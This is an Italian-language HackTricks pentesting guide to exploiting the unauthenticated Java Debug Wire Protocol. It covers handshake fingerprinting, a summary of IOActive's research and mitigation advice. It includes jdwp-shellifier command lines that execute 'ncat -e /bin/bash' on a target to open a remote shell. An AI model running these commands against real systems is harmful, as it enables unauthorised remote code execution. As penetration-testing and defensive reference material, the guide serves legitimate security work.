hacktricks/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md
2024-02-10 13:03:23 +00:00

6.7 KiB

Pentesting JDWP - Java Debug Wire Protocol

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Sfruttare

Lo sfruttamento di JDWP si basa sulla mancanza di autenticazione e crittografia del protocollo. Di solito si trova sulla porta 8000, ma sono possibili altre porte. La connessione iniziale avviene inviando un "JDWP-Handshake" alla porta di destinazione. Se un servizio JDWP è attivo, risponderà con la stessa stringa, confermando la sua presenza. Questa handshake funge da metodo di fingerprinting per identificare i servizi JDWP nella rete.

Per quanto riguarda l'identificazione dei processi, la ricerca della stringa "jdwk" nei processi Java può indicare una sessione JDWP attiva.

Lo strumento principale è jdwp-shellifier. Puoi usarlo con diversi parametri:

./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept

Ho scoperto che l'utilizzo di --break-on 'java.lang.String.indexOf' rende l'exploit più stabile. E se hai la possibilità di caricare un backdoor sull'host ed eseguirlo invece di eseguire un comando, l'exploit sarà ancora più stabile.

Ulteriori dettagli

Questo è un riassunto di https://ioactive.com/hacking-java-debug-wire-protocol-or-how/. Consultalo per ulteriori dettagli.

  1. Panoramica di JDWP:
  • È un protocollo binario di rete basato su pacchetti, principalmente sincrono.
  • Mancanza di autenticazione e crittografia, rendendolo vulnerabile quando esposto a reti ostili.
  1. Handshake di JDWP:
  • Viene utilizzato un semplice processo di handshake per avviare la comunicazione. Viene scambiata una stringa ASCII di 14 caratteri "JDWP-Handshake" tra il Debugger (client) e il Debuggee (server).
  1. Comunicazione di JDWP:
  • I messaggi hanno una struttura semplice con campi come Lunghezza, Id, Flag e CommandSet.
  • I valori di CommandSet vanno da 0x40 a 0x80, rappresentando diverse azioni ed eventi.
  1. Sfruttamento:
  • JDWP consente il caricamento e l'invocazione di classi e bytecode arbitrari, comportando rischi per la sicurezza.
  • L'articolo descrive un processo di sfruttamento in cinque fasi, che coinvolge il recupero di riferimenti di runtime di Java, impostazione di punti di interruzione e invocazione di metodi.
  1. Sfruttamento nella vita reale:
  • Nonostante le potenziali protezioni del firewall, i servizi JDWP sono individuabili e sfruttabili in scenari reali, come dimostrato da ricerche su piattaforme come ShodanHQ e GitHub.
  • Lo script di exploit è stato testato su varie versioni di JDK ed è indipendente dalla piattaforma, offrendo un'esecuzione remota affidabile del codice (RCE).
  1. Implicazioni per la sicurezza:
  • La presenza di servizi JDWP aperti su Internet sottolinea la necessità di revisioni di sicurezza regolari, disabilitazione delle funzionalità di debug in produzione e configurazioni corrette del firewall.

Riferimenti:

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks: